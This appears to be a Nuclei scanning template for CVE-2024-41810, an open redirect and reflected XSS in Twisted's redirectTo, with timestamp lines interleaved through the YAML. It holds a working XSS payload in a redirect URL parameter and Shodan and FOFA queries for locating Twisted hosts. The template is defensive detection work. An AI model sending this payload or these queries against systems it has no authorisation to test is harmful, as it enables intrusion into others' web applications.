2024-07-31 12:03:20 +00:00
id : CVE-2024-41810
info :
2024-09-26 07:09:08 +00:00
name : Twisted - Open Redirect & XSS
author : KoYejune0302,cheoljun99,sim4110,gy741
2024-07-31 12:03:20 +00:00
severity : medium
description : |
2024-09-26 07:09:08 +00:00
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1.
2024-07-31 12:03:20 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2024-41810
2024-09-26 07:09:08 +00:00
cpe : cpe:2.3:a:twistedmatrix:twisted:*:*:*:*:*:*:*:*
2024-07-31 12:03:20 +00:00
reference :
- https://github.com/advisories/GHSA-cf56-g6w6-pqq2
- https://nvd.nist.gov/vuln/detail/CVE-2024-41810
2024-09-26 07:09:08 +00:00
metadata :
max-request : 2
shodan-query : html:'Twisted' html:"python"
fofa-query : body="twisted" && "python"
tags : xss,redirect,twisted,python
flow : http(1) && http(2)
http :
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
redirects : true
matchers :
- type : word
part : response
words :
- "TWISTED_SESSION"
- '["Twisted'
internal : true
2024-07-31 12:03:20 +00:00
- method : GET
path :
2024-09-26 07:09:08 +00:00
- '{{BaseURL}}?url=ws://example.com/"><script>alert(document.domain)</script>'
2024-07-31 12:03:20 +00:00
2024-09-26 07:09:08 +00:00
redirects : true
2024-07-31 12:03:20 +00:00
matchers-condition : and
matchers :
- type : word
2024-09-26 07:09:08 +00:00
part : response
2024-07-31 12:03:20 +00:00
words :
2024-09-26 07:31:49 +00:00
- 'Location : ws://example.com/"><script>alert(document.domain)</script>'
2024-07-31 12:03:20 +00:00
- type : word
part : header
words :
2024-09-26 07:09:08 +00:00
- text/html
- type : status
status :
- 302
2024-09-27 12:26:03 +00:00
# digest: 4b0a00483046022100c86e7f9bfa35e3dc73ebadf54fce8ae64cac87c151913718557b701015117adc022100a20d28cbb4fb88bd17c666fc72de58269474ecd5ea1134ef92218478938a7041:922c64590222798bb761d5b6d8e72950